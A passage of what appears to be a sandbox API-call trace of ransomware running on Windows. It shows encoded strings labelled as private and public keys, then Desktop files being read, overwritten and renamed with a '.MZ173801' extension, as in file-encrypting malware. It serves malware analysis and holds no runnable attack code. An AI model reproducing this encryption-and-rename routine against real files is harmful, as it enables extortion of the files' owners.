lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.826] GetCurrentThreadId () returned 0xab4 [0175.827] GetCurrentThreadId () returned 0xab4 [0175.827] GetCurrentThreadId () returned 0xab4 [0175.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.827] GetCurrentThreadId () returned 0xab4 [0175.827] GetCurrentThreadId () returned 0xab4 [0175.828] GetCurrentThreadId () returned 0xab4 [0175.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x9429 [0175.828] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.828] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x9429, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x9429, lpOverlapped=0x0) returned 1 [0175.830] CloseHandle (hObject=0x320) returned 1 [0175.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.839] WriteFile (in: hFile=0x320, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x9429, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19fa24*=0x9429, lpOverlapped=0x0) returned 1 [0175.846] CloseHandle (hObject=0x320) returned 1 [0175.846] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9rQNK dYKtJL.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9rqnk dyktjl.mkv.mz173801")) returned 1 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] GetCurrentThreadId () returned 0xab4 [0175.847] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9085f310, ftCreationTime.dwHighDateTime=0x1d5ee11, ftLastAccessTime.dwLowDateTime=0x2fbb4ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0ee, ftLastWriteTime.dwLowDateTime=0x2fbb4ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f24, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BEd17CeTok20XCp bu.docx", cAlternateFileName="BED17C~1.DOC")) returned 1 [0175.847] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.847] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9085f310, ftCreationTime.dwHighDateTime=0x1d5ee11, ftLastAccessTime.dwLowDateTime=0x2fbb4ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0ee, ftLastWriteTime.dwLowDateTime=0x2fbb4ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f24)) returned 1 [0175.848] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx")) returned 0x20 [0175.848] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx", dwFileAttributes=0x80) returned 1 [0175.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.851] GetCurrentThreadId () returned 0xab4 [0175.851] GetCurrentThreadId () returned 0xab4 [0175.851] GetCurrentThreadId () returned 0xab4 [0175.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 